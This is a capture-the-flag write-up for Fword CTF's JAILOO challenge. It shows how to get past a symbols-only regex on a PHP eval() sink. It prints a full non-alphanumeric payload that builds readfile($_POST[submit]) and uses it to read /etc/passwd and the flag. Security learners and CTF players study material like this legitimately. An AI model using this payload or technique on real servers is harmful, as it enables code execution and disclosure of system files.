# Writeup JAILOO from fword ctf
We have the source of a php file that allow us execute commands via php eval(), the problem is a regex that only allow a few characters:```if(preg_match_all('/^(\$|\(|\)|\_|\[|\]|\=|\;|\+|\"|\.)*$/', $cmd, $matches)){	echo "<div class=\"success\">Command executed !</div>";	eval($cmd);```This basically means that we need to create a payload without using letters or numbers, just with ``&"+=()[]``So let's go I have coded a script that convert strings to that characters using the idea of getting an A and a from a php object like Array. We can get the "A" from index 0 and "a" from index 3.With that I started with SYSTEM:
![f6d453f66866661cfea748c00e914fb6.png](/_resources/a515719da83441db93350317ca1a10bf.png)
But apparently it was not enabled y tried with asset, but it was disabled too.
So I end up using readfile(), As the server requires only 2 arguments I reused the submit variable to send the file I want to read. This means we need a payload like ``readfile($_POST[submit])``.
So let's create the payload I started with readfile:
![75dd983c25fd8db3c5d73810646ce083.png](/_resources/9627fd6e073e4d7cb6ecd9ba7c6bc5ab.png)
now _POST :
![19eb173e5e67667992ef9881d061e3b9.png](/_resources/4d06f3ebf6db44acbde7ac121d854f2e.png)
And finally submit:
![f9c66e3add3af3f9ce8bc6a4321daa4e.png](/_resources/e54ea12e4c52488890b4b569621437bb.png)
Adding alltogether we get our final pyaload:
```$_="".[];$_=$_[""];$__=("+"=="+");$__=$__+$__+$__;$____="".[];$___=$____[$__];$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____=$__;$__=$_;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$____.=$__;$__=$_;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$____.=$__;$______=$____;$_="".[];$_=$_[""];$__=("+"=="+");$__=$__+$__+$__;$____="".[];$___=$____[$__];$__=$___;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____=$__;$__=$___;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$___;$__++;$____.=$__;$__=$___;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$___;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$___;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_______=$____;$_____="_";$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$_____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$_____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$_____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$_____.=$__;$_=$$_____;$______($_[$_______]);```
We just need to go and try the files we want to read using the POST parameter submit
trying with /etc/passwd:
![14897da3858336a65ed21ef670b184b6.png](/_resources/4f7d730bae1b450bbb4e5d05c5d66737.png)
Getting the flag:
![6e1118665f791a0eb24657b6f446faba.png](/_resources/e46d23c3bc7a4d24aded3789fe054d95.png)